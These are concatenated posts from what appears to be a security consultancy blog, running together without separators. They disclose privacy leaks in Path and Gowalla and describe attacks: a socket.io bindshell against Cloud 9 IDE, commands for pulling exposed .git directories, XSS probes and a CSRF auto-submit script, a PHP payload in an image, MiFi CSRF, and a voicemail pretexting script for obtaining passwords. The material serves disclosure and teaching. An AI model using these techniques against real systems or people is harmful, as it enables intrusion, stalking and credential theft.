Path is simply amazing. It’s all signal and less noise as you interact with a small curated group of friends and loved ones. Adoption is rapidly increasing. As with all social apps there are privacy concerns that arise, let’s talk about a few in Path.
Location data:
Locations that you create are not private. When a new location is created it is stored in Foursquare. So not only is the location you created available in Path, it’s also available in Foursquare.
Additionally your location data is broadcast to Path every time you open the application (and periodically while it’s open). The following information is representative of what is actually sent.
It may not be obvious based on the app interface or privacy policy but the following information is also easily available to any path user via a simple API call. The search results in Path actually have this data, the app just doesn’t display it. You can see what information is displayed for you at _______
UPDATE (12/8/2011 6:00 PM): As expected Path removed the account I was using to do the searches with for the path.evilpacket.net tool. Instead you can download the source and use the command line version from https://github.com/evilpacket/path-search Additionally it appears that Phone #'s, Email addresses, and facebook ID's are now not included in the search results.
Account Created Date
Name
Facebook ID
Email address
Gender
Phone #
Cover and Profile Pictures (The original and various other sizes)
Username
(At least they don’t share your birthday in this data)
You can remove your phone # from being shared by removing it from the Path app settings, however I have not seen a way to stop sharing my email address or other information.
It’s not that earth shattering I know, but not all consumers realize this information on Path is out there. I would like to see a little more transparency from Path about what data is public, what is private and what other data they collect and how they use it. Path has done a lot better than other social apps in many areas, now it’s time to do better with user privacy and awareness.
The transition to the real time web is happening. Along with that I’m seeing more and more applications using the awesome functionality of socket.io.
socket.io provides websocket like functionality over a number of transport mechanisms (including websockets). This provides frontend developers with the much needed bi-directional, evented communication they crave.
One challenge with socket.io is the task of authorization of the socket; making sure the data sent over the pipe is in fact being done so by an authorized site / user.
Socket.io does not require the developer do such authorization by default. What we end up with is a cross-site request forgery style attack, but using a websocket.
A theoretical scenario might look like this.
1. Victim logs into example.com, a web app that uses socket.io to perform privileged actions on the victim's account.
2. Victim visits evilpacket.net while still logged into example.com
3. evilpacket.net creates a socket.io connection to example.com
4. evilpacket.net can then perform actions on the victim's account on example.com by using socket.send() and formatting the data properly.
A practical example: Owning The Cloud… 9 IDE
Here we demonstrate using a cross domain connection via socket.io to run a javascript backdoor on the Cloud 9 IDE system. The Cloud 9 IDE is an in browser development environment that has both a commercial and an open source offering.
I’ll list the caveats to this attack upfront. The attacker needs to know the IP address and port of the Cloud 9 IDE system. For our example we will assume the developer is running it on localhost.
An attack might play out something like this:
1. Victim visits evilpacket.net
2. Attacker builds a socket.io connection to localhost and sets up to see resulting messages.
socket = new io.connect(“http://localhost:3000/”);
socket.on(“message”, function(data) {
console.log(data);
});
3. Attacker runs the attach command with a fake session ID to get the current working directory:
5. Finally the attacker runs the bindshell (This of course could be any node.js code the attack would want to execute)
run = '{“command”:”Run”,”file”:”node-shells/node_bindshell.js”,”runner”:”node”,”args”:[“”],”env”:{“C9_SELECTED_FILE”:”/node-shells/node_bindshell.js”}}';
socket.send(run);
The attack is demonstrated in the below video.
The following commit adds an authorization mechanism to the socket.
Users of the Cloud 9 service are already protected from this.
DEFCON 19 - Pillaging DVCS Repos for fun and profit
Here is a copy of the Pillaging DVCS Repos for fun and profit talk I did at DEFCON 19. The whitepaper, slide deck and the rest of the DEFCON 19 video archive are available here.
Here is a copy of the Pillaging DVCS Repos for fun and profit talk from Toorcon 13. The tools mentioned are not released yet but should be when I get a chance to tighten the code up. Until then use the already released DVCS Pillaging Toolkit (which are probably more useful on a penetration test anyway).
While writing up some contributions for the Penetration Testing Execution Standard on pillaging Git repositories based on one of our previous posts I identified some additional techniques. These techniques allow for partial recreation of the git repository and may just be enough to gain additional knowledge to further abuse the environment or the application during a penetration test.
In the previous article I just used strings on the git index file but the index contains a lot more valuable information than just file names. The .git/index file contains not only a list of file names but a list of hash values for those files. The hash names give the location of those files in the object directory. Provided of course that the object wasn't moved to a .pack file. (based on my current understanding).
For example if we had the hash 3da541559918a808c2402bba5012f6c60b27661c it would possibly be located at http://example.com/.git/objects/3d/a541559918a808c2402bba5012f6c60b27661c where the first two characters of the hash are used as the directory it's located in.
Using this information we request each and every one of those objects.
Making a final attempt to gain a few more files, objects, commits, etc we do a “git log” and for each failed attempt we try and download that resource. Eeking out as much information as possible.
The error looks like this: error: Could not read 0c9f034b36ac88f2dd6a0c0287f7b2465007b72a
To end the process, instead of doing a git reset, which will not work in this case since the tree is corrupt, we try and checkout each and every file that is listed in the index.
Hopefully in the end you get lucky and your pillaging efforts were fruitful.
To make this easy I released the gitpillage tool to automate this process for you.
The other day I was reminded again of the power of full-disclosure. Some time ago I discovered a cross-site scripting vulnerability in store.foursquare.com (which is based on Miva shopping cart). As is my habit, I reported this to Foursquare on several occasions, and received no response whatsoever. After many months waiting for the problem to be fixed, today I dumped a proof of concept on twitter. The issue was resolved within hours of my tweet.
People like me - hackers, slackers, researchers, Internet peoples with bad surfing habits, whatever you call us - find these things in our spare time, for free. Often it takes just minutes to find vulnerabilities like this, and a few more to develop a working POC. (Seriously, just type something like “><script>alert(1);</script> into random web sites and watch the XSS rain like glitter from the sky.) The most painful part of the process is dealing with reporting it to the vendor, explaining it, teaching them about what the real impact is and waiting for them to fix it (again doing this all for free).
Without making these vulnerabilities public, vendors fix them on their own schedule, if ever, and rarely do they say thank you (why should they? You just caused them to do <strike>better</strike> more work). This vulnerability was low-impact, but cross-site scripting can lead to the complete compromise of a website. The fact is that vulnerabilities like this are found every day and they often go unreported.
Vendors need to be more transparent with their clients. They should be saying something like:
This is what happened or was discovered.
This is what we did.
This is what we are going to do so it is less likely to happen again.
Customers like transparency, it builds trust.
Now keep in mind there are plenty of vendors that take security very seriously, take communication very seriously and strive to just plain do better in every aspect of their business. I love these vendors, they say thank you, fix the problem and life goes on with little stress on either end. It takes a lot of courage for these vendors to admit mistakes and do better. Everyone makes mistakes; the difference is who cares and does better and who continues to suck vulnerability after reported vulnerability.
About a year ago I started a little project to check every site I visited for the presence of a git repository. It found some rather interesting repos. Unsatisfied with that I checked the top 100k Alexa sites for presence of code repositories. Git is a fantastic distributed version control system (DVCS), but it does come with some interesting risks and data leakage that weren't obvious until I started using it. I’ll try and explain how to go about getting the data and then how to protect yourself.
Git has a directory named .git that contains all the metadata for the project. This directory contains everything necessary to recreate any state of the repository. This is great until you think about one particular use case: deploying web applications. It’s not all bad, but given a few bad configuration choices it can lead to some serious data leakage.
Find the Repo
The quickest way I found to determine if a .git repo was present was to load up the .git/HEAD file and see if it contains a match to the pattern ^ref: refs/
Clone the Repo
Once we have identified that a git repo is present in a web root we can then try and extract some interesting data. The first step for me is to try and clone the repo.
git clone http://example.com/
If this fails, and from my experience it works very infrequently, then we check for directory browsing enabled on the repo. If directory browsing is enabled then we simply use wget to clone the repo like below.
wget -m —no-parent http://example.com/.git
cd example.com
git reset —hard
Don’t give up just yet
If the above two scenarios fail then you can still have a chance at some useful data from files with predictable names.
The easiest is to just download the .git/index file and run strings against it. Some things that you might get out of the index file are;
.git/index
Platform details (.php, .cgi, etc)
Files that may contain configuration details
.old
.new
.bak
.tar.gz
Database dumps .sql
.git/config
Contains repo locations, possibly other targets one could attack.
.git/logs/HEAD
Contains commit messages if any editing and committing has been done on the server.
.git/hooks/*
There are a number of files in the hooks directory that may contain sensitive information depending on the environment.
Now that you know the evils of having your web app’s git repo flapping in the wind let's move on to…
Protecting yourself
You should block access to the .git directory and sub directories. Of course this is just one way to accomplish the task.
# Apache configuration
<DirectoryMatch .*.git/.*>
Deny From All
</DirectoryMatch>
# Nginx configuration
http {
server {
location ~ /.git {
deny all;
}
}
}
Don’t put passwords, private key files, database dumps, or other confidential information in your git repo. If you happen to have committed sensitive information to your repo check out this help from Github.
Recently I discovered a cross-site scripting vulnerability in Chase online. A very trivial vulnerability to find and exploit. I’m not, however, going to talk about the vulnerability and the details as I normally would (that info should be available at evilpacket.net soon). Instead I want to discuss the effort required to report and get the vulnerability fixed in a responsible disclosure type of way and what I think should have been done differently.
Dedicated point of contact
This is lesson #1 for anybody that is building software or running a service that could have vulnerabilities. Have a dedicated contact for security related issues related to your products and services and have somebody that understands and cares servicing those requests.
When I went to report the vulnerability to Chase I had a very difficult time finding a point of contact to which I could send the information. I finally decided to send it to their fraud abuse department and security@chase.com. It turns out security@chase.com doesn’t exist and they never answered the abuse email (other than an automated reply).
I eventually posted a couple of tweets stating my frustration with Chase not getting back to me. One of my followers knew somebody that knew someone who worked at Chase. I received a phone call the next day and provided the information, which then had to be proxied to yet another department at Chase.
As I have said in the past, many researchers don’t have the patience to bother jumping through hoops like I described above. If your organization won’t work with them - or even answer an email - they are probably just going to post it to full-disclosure, or decide it isn't worth the trouble trying to find someone who cares so they just won't report it. Or worse…
Say thank you
If I'm walking down the street and a guy lets me know my fly is open, I thank him for helping me to avoid a potentially embarrassing situation. It is downright rude when companies silently fix vulnerabilities I've reported, and don't even bother to say thanks for pointing out that their fly was open. Chase just zipped up their pants and went about
their business.
Admit when you fail
I really think that businesses should provide more transparency about what they do to secure their customers' data. Openness and honesty breeds trust. We all make mistakes. Admit them, learn from them, state what you are going to do resolve the problem and then actually do it. Your customers will thank you for it.
Tonight I received an interesting text message. It read as follows;
alert@bankofwhitman.com
(Whit)Alert ! Please Contact Bank0f
Whitman At : 877 727 O714 . Thank you .
Nobody in my family is a Bank of Whitman customer so to me this is an obvious phishing attempt. I figured I would call the number, record the message and post it here so that people could hear what the phishing scam sounded like.
I also noticed that if I called the number with two phones at the same time, one of them would go to voicemail. Based on a few attempts to call the number using only one phone, and rolling to voicemail it's obvious that there are others calling the number. Hopefully they are smart enough to not provide their account number, expiration date and pin. At least the criminals were nice enough to not ask for the CVV.
We assess a lot of Django based web applications. Because the Django framework does a great job at trying to be secure by default sometimes we have to get creative.
Background
About a week back I ran into a situation in which I could upload a file to an application and control the filename. In this particular case the file had to be a valid image per the rules of the Django ImageField.is_valid() method. This is not uncommon to see in web applications with avatars and other image uploads. Apps like Django_avatar and Pinax (that uses a slighly older django_avatar I believe) are examples that do not check the file extension and rely on the ImageField validator.
The Exploit
Using exiftool I added a comment field in the images header that does not invalidate the image but will be executed if the file is named with a .php extension. The exiftool command I used to create the below image was
The below image is a non-malicious example that when named with a .php extension will execute phpinfo(); when viewed.
This was tested on PHP versions 5.2.10 and 5.3.2, Pinax 0.7.1 and django_avatar 1.1a1. I noticed that on 5.3.1 php will not execute the payload properly.
Protection
Just a few thoughts on how to protect against this.
Chances are if you are using Django you don't need PHP configured to run on your web site. If you do disable parsing of PHP and other server side content in your media directories.
Do not rely on ImageField validation to protect you. Check file extensions against a whitelist for uploaded media.
It would be nice to see the Django ImageField updated validate file extensions as well. At the same time it easy and leaves the framework flexible to leave it up to the implementor.
We have talked about Gowalla in the past here and here so I won't drag this post on. Essentially this post is an update to say that Gowalla has started to implement measures to further secure passports (profiles). Turns out they just made it only slightly more difficult.
With almost no effort anybody (without authentication) can still gain the users twitter username, hometown, and firends list. A little brute force effort and we can reverse lookup checkins. The script below tries lookups for spots found for whatever the user put for their home town.
It seems like I'm yelling into the void of space when I say this, mbut vendors need to take the security and privacy of their clients data seriously. Even for a free service like Gowalla. Respect your clients by understanding the value their data brings to your business and that the protection of that data means to them. I'm slightly biased because it's our business, but third party security assessments are just part of the development process now. Use them.
There is a video demonstration of the tool over on evilpacket.net
The code works… it's not pretty, but it works. Get the tool here.
Oh hi. It's our third year in business and what a better time to drop a new website, hire another team member, move into a new office, and say thank you. That's exactly what's going on here at nGenuity.
First of all Aaron and I would like to say thank you to all of our customers. We have dedicated customers, many that have been with us since day one and continue to allow us to provide them with guideance. We are absolutely grateful!
Website:
A big thanks also goes to the team at &yet that made our new, fan-freak'n-tastic, website. We love working with those guys and poking their world-class webapps with sharp sticks.
New Team Member:
We're in the process of hiring our third team member. We have some pretty high standards that we hold ourselves against for our customers so we have set out to find an IT ninja. I'm sure it comes as no suprise that it's difficult to find a ninja (with them being stealthy and all). Maybe you or somebody you know would be interested?
New Location:
We are very excited to be getting into some office space. We will be neighbors with &yet and Elevate. You are welcome to attend the open house, April 8th from 4-7pm at 140 Gage Blvd.
It seems that every day people around me are sharing more and more “status” information with each other. Whether or not that is a good idea is best left for another conversation, but here’s an argument for not sharing: Like a lot of people, I tried out Gowalla. It was fun to spam my friends with random locations I was visiting, mindlessly whoring out information to the public about my whereabouts. I figured after using the service for a little while that it might be a good idea to just tell my friends about where I am rather than broadcast it to the whole world (pleaserobme.com), and enabled the private profile option.
Per Gowalla the private profile option will:
If you choose to turn Passport Privacy on, your stamps (the places you’ve been) and your items will only be visible to your friends.
Not wanting to take their word for it I had to take a look at the various ways of accessing the data that was to be private. Turns out that through a series of API calls this information is still available. The process I used is outlined below.
1. First we need to find a user to stalk decloak. You can either guess at a username (turns out a lot of people like to use the same Gowalla username as their twitter username, go figure). We will use mine for the sake of demonstration, but here is another protip: If you don’t know the username just go through ID’s and brute force all the accounts. It appears that Gowalla’s userids increment in a predictable manner. Also, it’s important to note that gowalla.com/users/adam_baldwin and gowalla.com/users/53172 bring up the same user information.
2. Now we need to find out the number of stamps a user has using the URL below. If the number is 0 there is a chance the profile is private.
http://gowalla.com/users/%d/stamps?limit=1
Making the request requires that you mimic the web api. So some fancy headers are in order. Something like..
5. This is where things get interesting. If you use the checkins_url value from each spot in step 4 and go request the data, you get all of the checkins for that spot. Including the checkins for the user that are supposed to be private. Iterate through them looking to see which one has a user url that matches your targeted user and now you have date and time of the check in.
Go here to see what my private profile looks like http://gowalla.com/users/adam_baldwin
Here is what the output of the decloak.py script.
53172 Adam Baldwin (adam_baldwin)
Texas
checkin – 2010-02-10T04:56:26+00:00
Washington
checkin – 2010-01-10T23:45:20+00:00
IAH George Bush Intercontinental
checkin – 2010-02-10T04:56:26+00:00
Airplane Waiting On Tarmac
checkin – 2010-02-12T15:08:22+00:00
Tri-Cities Airport (PSC)
checkin – 2010-02-12T22:41:51+00:00
…
If you bothered to read this far then YOUWIN A BONUS!!!! Gowalla recently released their read-only API for developers. It comes with a handy tool for testing out and learning the API.
The MiFi by Novatel Wireless (re-branded and sold by multiple vendors such as Sprint and Verizon) is a mobile wifi hotspot. The mifi also has a built in GPS to provide location based searching. Turns out that the web interface to this little device has a lot going on that can be exploited, from gaining the user’s GPS data to terminating the user’s connectivity. Before we get into the details let’s start with a story that begins right after I found the initial vulnerabilities (besides notify the vendor).
12:19:58 AM Adam Brault (&yet): so tell me about the mifi pwn
12:20:24 AM Adam Baldwin: http://ngenuity.org/dev/mifi.html (code is not there now so don’t bother clicking)
12:20:33 AM Adam Baldwin: just read the source
12:20:35 AM Adam Baldwin: it’s simple
12:20:49 AM Adam Baldwin: changes your SSID to pwned and your secret key to javascript (and executes that javascript)
At this point my phone rings. Adam was apparently using his MiFi in a remote location at the time he clicked on the link I sent him. It was at that moment that we realized that a valid session was not required and that it would kill the connection for Verizon users with firmware version 11.43.2 (I think). Adam was without Internet and had to factory reset his MiFi.
So there are a few things going on that make this possible. I will try and detail them here.
1. Authentication not required.
The MiFi does not require a valid session to commit changes to configuration settings. This makes exploiting the below issues a lot easier when you don’t have to require that the victim have a valid session.
2. Enable GPS without the users knowledge.
The GPS on a MiFi can be enabled by visiting the following URL. Depending on the situation the victim may get a alert that says “Login Required” but if they are like the typical user they will simply click on it and forget it ever happened.
3. Cross-Site Request Forgery (CSRF)
The web interface does not validate referrer or use any magical tokens to protect against CSRF. This means that we can have a victim visit our malicious website and do evil things like change the wireless settings of the MiFi.
4. Output Encoding
In multiple locations of the MiFi web interface user input is not properly encoded when output back to the user. One interesting location is the key field for the wifi settings. I’m wondering why the hell somebody thought it was a good idea to print the wifi key in clear text back to the user, and in this case it’s not properly encoded either giving us a nice 63 character persistent injection point for script.
So for those that weren’t paying attention: Any MiFi user that visits a specially crafted page will give up their GPS location to the attacker.
Here is a video clip for the Sprint MiFi (firmware AP 11.47.17, router 018.0101) of the working proof of concept.
Social Engineering: Voicemail branding for improved results
With the launch of social-engineering.org I thought I would publish one of the tactics I have used in the past to gain trust with employees while on a social engineering engagements. I found this particular pretext makes the classic tech support attack significantly more successful, even while using a non-spoofed caller ID and a phone # from out of state.
It’s commonly agreed upon that anywhere from 60-90% of communication is non-verbal. You might think that this would make a phone based attack more difficult, I’m of the opinion that it makes it easier to abuse the imagination of the victim as they have less input to observe.
Just like phishing uses visual clues to build trust with the victim, it is possible to do the same using voice mail. Many companies have standard messages that employees are to use for their voice mail, simply mirroring those makes it appear like the victim has reached another employee. Here is how the attack is outlined.
Attacker calls to identify voice mail of victim organization.
Attacker sets up their voice mail to mimic target organization.
Attacker calls victim either just before or just after office hours. This is the key as this triggers the employee to call the attacker back.
Attacker ignores callback and directs it to voice mail for the victim. Victim hears the voice of the attacker, the branding that the attacker left for the victim.
Attacker calls victim back and proceeds with the classic tech support attack.
Theoretical Script:
Attacker (voicemail): “Hi, you have reached the voice mail of John Doe with nGenuity. We are currently experiencing a company wide security incident. Please leave your name and number and I will contact you back as soon as I can.”
Victim (voicemail): “Hi this is Joy Doe from nGenuity accounting. You can reach me at 555-1212″
Attacker (calling vicitim): “Hi Joy this is John Doe with nGenuity technical support. I’m sorry for getting back to you so late, we have had a lot of work to do to correct this mess. Your workstation is one of the last systems that I need to clean up to be done for the day. Unfortunately this threat has locked out our administrative access so I need your username and password to take care of this.”
Now if the user doesn’t want to provide their credentials simply direct them to a website you control, branded like the company and have them install some remote access software.
The point was that voice mail can be used to improve your branding as an attacker and build credibility where there is none or very little. The victim easily forgets that they were solicited because of the number of calls. Another fun tactic to build credibility is call center background noise clips and hold music. Make it sound like your actually at work.
Most businesses rely heavily on computers and networks to get work done these days. When your computer or network fails you in some way, that has a direct impact on your bottom line. In an effort to help you understand the risks associated with using these essential pieces of technology in your business, and help mitigate them, we are giving away a whole pile of consulting time in the form of free security assessments.
What do you get with the free assessment?
30 minutes of network and website security assessment by the nGenuity team of security ninjas.
30 minutes of discussion / debrief about any security issues identified.
20% discount on any IT and security consulting and support services through the remainder of 2009.
No hassle or obligation to purchase anything. This is not a hard sell, this is a free service we are offering to improve awareness on network / website security.
I already have an “IT” person / company that handles this type of stuff for me.
Chances are your IT person or company is doing a great job supporting you, but what if that isn’t the case and you just haven’t noticed yet? What if security isn’t their thing? nGenuity already works with a few IT providers to complement the services they provide. There is nothing wrong with getting a second opinion from an expert.
Where do I sign up?
Call us at 509-396-2075 and mash the first number that you hear or email us at info@ngenuity-is.com
XSS in video.seesmic.com search; Includes bonus feature
Normally when I see injection vectors it’s simply because unsanitized user input is echoed back to the user in some really obvious fashion. Those get old quickly.
The particular injection point I found was fun because Seesmic took the time to urlencode the search terms to the user, but then later on in the page use that input in a small chunk of Javascript. What’s awesome about that is that we don’t have to include script tags, our input just gets run automatically. More fun than Saturday morning cartoons.
Here is the injection vector. It requires that the victim have a valid Seesmic session open, but just think if somebody posted a video linking to a tinyurl of this and this fun little javascript turned all the users private video’s public
So who really cares if there is a XSS in video.seesmic.com? I thought about it for a while and came up with one particular exploit that would impact a few seemic users. How about deleteing all of a users videos if they visit a magical link? Here are the details. (I also thought a variant that would make all private video’s public would have been fun, but I just don’t have the time).
1. User with valid session clicks on a nice tiny url. (just think of how many people would click on this in a description for a video in the public stream!)
2. username is parsed from the site cookies.
3. User’s video json feed is loaded up.
4. For each video gathered in step 3, delete the video.
So how about some code? I left out at least one of the utility functions so you have to at least know somewhat is going on to make it work.
Toorcamp 2009 is officially over in the history books as the first ever US hacker camp. If you missed it be sure to attend the next one. You are guaranteed to not only learn something, but meet some of the brightest minds in the hacker culture. I sure had a great time. Here are a few of my favorite moments in no particular order.
1. There were many great talks. In particular I enjoyed and recommend you look up the video when/if they have it online.
Ben Kurtz – Short attention span security
mudsplatter (I hope people caught the few good points during his drunken hilarious presentation)
Michael Ossman & Dominic Spill – Building an All-Channel Bluetooth Monitor
Sai Emrys – Suing telemarketers for fun & profit
Willow – Parkour (during Ignite Toorcamp)
2. Mother Nature pwned Toorcamp with a few giant dust devils. The sight of a floor mat flying around like a magic carpet was awesome (although I should probably use the word epic here as that seems to be the current trend)
3. Touring the missile silo.
4. Workshops. While it will be a while until I can apply the knowledge, I learned more about software controlled radio than I ever had before sitting around with Michael and Dominic. It’s hard to explain it here but suffice it to say that a slinky completely blew my mind.
5. The badge. Shiny distracting object that lights up when either 13.56mHz or 125kHz signals are detected. It uses no on board power, like RFID.
Bonus: The people. The people were absolutely amazing. It’s almost impossible to explain what it’s like to be around a bunch of peers / hackers in that harsh of an environment. People were generous and really pulled together to make ToorCamp a great experience.
I will get my W3AF presentation materials up soon.
Phishers (and I’m sure marketing jerks too) love universal redirects. A universal redirect is when you visit a url that looks like one domain and it redirects you to a different site. They have their purpose, but if a site doesn’t implement protections properly it could be brand damaging. Especially in markets like finance where trust is very important, any erosion of trust can be very costly. The examples I’m about to provide can be prevented by having your website audited regularly.
The reason that phishers get away with what they do is that it’s easy to mimic the look and feel of a site, which builds your trust. We see a logo and certain colors and we respond appropriately. Companies put a ton of money into building these brands only to have that power used against them. Now people are getting leery about clicking on just any link in an email or website, so if phishers can make it appear like you are clicking on a valid link and then whisk you away to their evil site all the better for their con.
So for a quick example. Let’s say example.com wants to keep track of who clicks on their partner site link. They might have something like.
When you click on that link in theory it would record your entry in a log file and send you to ngenuity-is.com
Stop talking and get to Dave Ramsey already:
The reason I bring up daveramsey.com is because they have a similar redirect, are in an industry where trust is very important and have tried to put protections in place to prevent what I’m talking about here. If you mouse over the left hand navigation you will see that a few of the links go to a page that looks like this.
Dave’s team of crafty website ninjas figured that phishers would love to direct themselves anywhere so if you try and put in your own website after strPath it will just redirect back to the main site. That is where the trusty null byte comes in handy. Slipping in a single byte into the link and you have yourself a working universal redirect.
I have run into the this particular issue a lot in the past few weeks. It’s like the new generation of web developers have forgotten about security principles (must be a web 2.0 thing.) For an example of this particular issue, I will use a zero day vulnerability in the popular time tracking / invoicing app FreshBooks. This vulnerability literally took only 5 minutes to identify. It has to make one think about the level of effort these web app companies really put into security, I know it makes me think twice about giving somebody else control of my information.
Now for the fun stuff, I will explain below that a user with a logged in FreshBooks session that visits a malicious website could have their account credentials (username, password) changed in such a manner that they would not know immediately, giving the attacker full control.
It’s all about verifiable trust
Web applications, especially ones that are password protected, rely on the fact that your browser will send the session ID with every browser request. This is a very important design consideration for web app developers designing privileged sections/actions of the application.
For example if a web app developer designs using the mentality “a user has to be logged in (has a valid session) to change their password or do any other privileged activities,” not only is the logged in user able to do those actions but any other page they visit has the ability to have their browser make those requests too. All because of the designed browser behaviour of having your session sent with your request. This is session based trust.
What we need to solve this is transaction based trust. We need the client to prove they are not only allowed from an authentication perspective but are authorized to make this transaction. Now the important part.
For a password change the old password should be provided and verified server side. For other privileged operations other tokens and methods can be used.
Tell me how to exploit FreshBooks already!
As you might have guessed by now FreshBooks does not ask for the old password when setting account information, trusting only on session authentication, bad design flaw. They ask for First Name, Last Name, Email address, username, new password, verify password. They also don’t deploy any other protection mechanisms (which I’m not going to get into here.) So when the FreshBooks user fills out the form and presses save the server takes what the user sent, verified the session was good and saved the info. No other verification is done.
Most of you won’t care, but this is the code that makes up the form in the background (in essence anyway.)
This should be pretty straight forward as to what each piece is when compared to the above image. A quick addition of <script>document.csrf.submit();</script> and the browser executes the code for us with no human interaction. Throw all of this (with a few more important details you have to figure out yourself) on a website and you have a nice little, targeted exploit.
All of this could have been avoided if FreshBooks would have simply asked the user for their old password and verified that old password. Sure there are technical controls they can put in place to protect against some of these things, but really this should have been caught during a design assessment of the application.
Special thanks to Adam Brault for helping me test the exploit outside of the lab and agreeing to be pwned.
Lately there have been a lot of cases where I have needed a small way to bootstrap some remote JavaScript to demonstrate XSS exploitability to website stakeholders. Many sites are now using various popular JavaScript frameworks to assist with site functionality. These frameworks also work well for injection attacks and why not abuse what’s already loaded for your client side already?
Side Note: Limiting field length for input validation can mean the difference between a theoretical vulnerability and an exploitable vulnerability. (no alert(‘xss’) is not demonstration of exploitability)
I’m just trying to point out that there is no such thing as a more trustable anonymous source. It would be easy to compromise a computer by offering free software on Craig’s List and manipulating it before handing it out.
This got me thinking that even free (or commercial) software from what appears to be a reputable provider should be approached with caution. What about a legitimate company trying to get people interested in their software? Should people be skeptical of those sources as well, they are not anonymous? Absolutely they should. So as a software company or software as a service provider (there are so many web applications spring up these days) how can they make their product more trustable and appealing to wary consumers?
Promise & deliver:
Build trust with your customers by making promises and keeping them while exceeding expectations. Sound easy right? Well then do it, put in the hard work to make it happen. It won’t happen overnight and it will happen by some people taking the leap of faith with your brand and products. Make sure those customers love you and your product. Make sure whenever they tweet, dent, blog, whatever about their experience that it will be positive.
Take your lumps:
Let customers provide transparent feedback to your services on your website. People like to trust the input from other people. Take the good with the bad and allow customers to complain or rave about your product. Once you get over being upset that they complained, fix the problems they had, make it better and tell the world.
Get a security assessment already:
Pimp your third party audit results, even if you did bad. First of all this means that you have to get your product assessed. Do so by selecting a vendor in your market space that has experience and their word will lend credibility to your brand. If you did bad on the audit tell the world how you will change. Every software product has security vulnerabilities (yes every one d0n’t let those crafty vendors fool you and don’t be one yourself), what you need to be able to explain and demonstrate is that you care enough to do whatever it takes to respond and handle those issues as best you can. Keep this promise at all costs.
I have been asked many times why I spend so much time and effort hunting for security flaws in software. I make no money off the vulnerabilities that I publish in my free time and the companies that fix these flaws get essentially free quality assurancee testing done. Some people think that it is to harm the other company or tarnish their reputation. This could not be further from the truth. nGenuity practices responsible disclosure and works with vendors to fix security flaws before the details get published.
So what do I get out of doing this work and more importantly, what do you get?
Skills Dissipate
Since leaving Symantec to start nGenuity I find I don’t have as much time to do security assessment work as I used to, something I really enjoyed. To ensure that my skills do not atrophy I seek out software vulnerabilities and ways to improve my methods of finding and fixing them.
Credibility
Does an I.T. company that doesn’t know how to find and identify vulnerabilities in systems and software really know how to secure your network and protect your data? Publishing vulnerabilities and helping companies secure their software and systems helps nGenuity demonstrate that we have an in-depth understanding of security issues. Better yet, you know that we are going to be able to help you secure your environment better than than your neighborhood computer guy that will sell you a product and tell you that you are “secure.” I know this sounds like a sales pitch, but its something to really think on the next time your I.T. company tries to talk to you about security and rambles on about simply purchasing products. There is a lot more to it than just installing patches, anti-virus and backups. It’s about the entire process, the security life cycle of your business.
The Ah-Ha Moment
Many businesses don’t understand they have security problems until they have either been affected by them or are shown just how vulnerable they are. If I can demonstrate to you how I can take over your website, siphon confidential data from your network or make your point of sales systems unavailable it is easier to see just how security issues will cost your business money. Without these ah-ha moments unknown vulnerabilities remain unknown business liabilities.
In the end if the vendor has improved their software, then my customers data and brand is more protected and I’ve had opportunity to continue refining my skills, I would call that a win-win for everyone.
When I spoke at Learn About Web 2008 something I tried to convey was the importance that your audience feel secure in your environment. When developing your business consider using the hard work you have put into protecting it and the genuine effort you put forth protecting client data as a marketing tactic. Again, this only works if you actually put effort into developing your security program.
Using items like trustmarks (recognizable representations of some type of effort, service, or guarantee), privacy policies, and appropriate copy in the material your customers receive and your employees are subjected to allows a subtle and controlled feeling to be delivered. Should you get this message wrong your customers and employees might just feel like the below cartoon by Scott Stantis.
Many businesses are turning to Voice over IP (VOIP) to reduce overhead. Just like many other technologies VOIP (or any other phone system) adds additional risk to your business that you may not be aware of. Phone systems today (as they have been for a while) are just computer systems and must to be considered in the overall security strategy of your business. Left out, their software becomes outdated, passwords become stale, and the potential for loss increases.
Consider the following example where a 4 digit password protected the phone system from outside attackers. How would your business react to a $52,000 phone bill (plus the lost time dealing with the phone company).
If you can actually remember all of the places you signed up for accounts over the years and the unique passwords for those accounts you can stop reading this now.
All the rest of you still reading should know that passwords are an important part of keeping prying eyes from your data (and probably have just as hard of a time remembering passwords as I do.) Passwords are very similar to a combination for a safe. Know the right combination and it is easy to obtain the contents. If you don’t happen to know the combination you could try a whole bunch of combination in succession and eventually get the combination. The key word there is eventually. While there are other limiting factors such as frequency of guesses and other controls that I’m going to ignore for the sake of this introduction, passwords for the most part protect against time. The more complex, the more difficult it is to guess, the longer it should supposedly take to obtain the right one.
Make password management easy on yourself and get a password safe application like Password Gorilla. If you are wondering why you need one of these applications here is just a few reasons.
Remembers your passwords for you (in an encrypted vault!)
Passwords can be as complex and long as you want them to be.
You have a convenient list of passwords so that when the New Year comes around you can change them, all of them.
You can keep information, such as answers to “security questions” in the notes field. You don’t have to use answers like “What is the name of your first pet? Max” Instead make them just as complex as your passwords.
Password Gorilla is cross-platform and works on Windows, OS X and Unix systems. No excuses here!
We all know you aren’t going to go to the gym like you need to, so why not pick a New Year resolution that is attainable, like caring about strong password management, one of the most basic principles in security.
The typical small/medium business (SMB) security process is a reactive process that typically represents something like the following.
Something breaks / data is accidentally deleted or goes missing / a computer is infected with malware or the company website got hacked.
The SMB reacts. This typically requires one of the following; Fixing the problem, determining a creative work around or simply realizing nothing can be done so giving up (which might fall into the creative work around category). All of these cost the SMB time and/or money.
So how can the typical SMB reduce the need for costly reactions or be better prepared in the event they need to react to an incident? The simple answer is be proactive about their business related technology risks. Here are a few more detailed recommendations.
Reduce Ignorance to Technology Dependence:
Many SMB’s utilize technology to reduce costs and increase productivity, but many do not understand that with these benefits come some pretty serious risks. Do the following exercise to better understand your technology dependence. Essentially you are doing the reactive work ahead of time.
Walk through your businesses typical day outlining business processes such as ordering, payroll, payables, customer service, and sales.
Write down the pieces of technology that are required to make these business transactions happen.
Imagine what the day would be like should each one of those technology advantages be missing, unavailable, perform poorly, etc.
Write down any low-tech alternatives you may have (such as manual credit card transactions, using that really ugly and cumbersome imprinting machine, hey it works!)
This information will help you understand some of the major risks to critical business processes, sure you will miss some, but you will be better off than when you started.
Adopt Automated / Managed Systems:
Sure these come with their own set of risks, but automated systems implemented properly can save a SMB a lot of headaches and even prevent some incidents from happening. Here are a few examples;
Offsite data backups
Antivirus / Desktop firewalls centrally monitored and controlled to ensure updates are applied and network policies are enforced.
Near real time integrity monitoring of company website
Managed services for weekly/monthly/quarterly, proactive checkups of systems (let somebody else worry about it).
Do It Over Again:
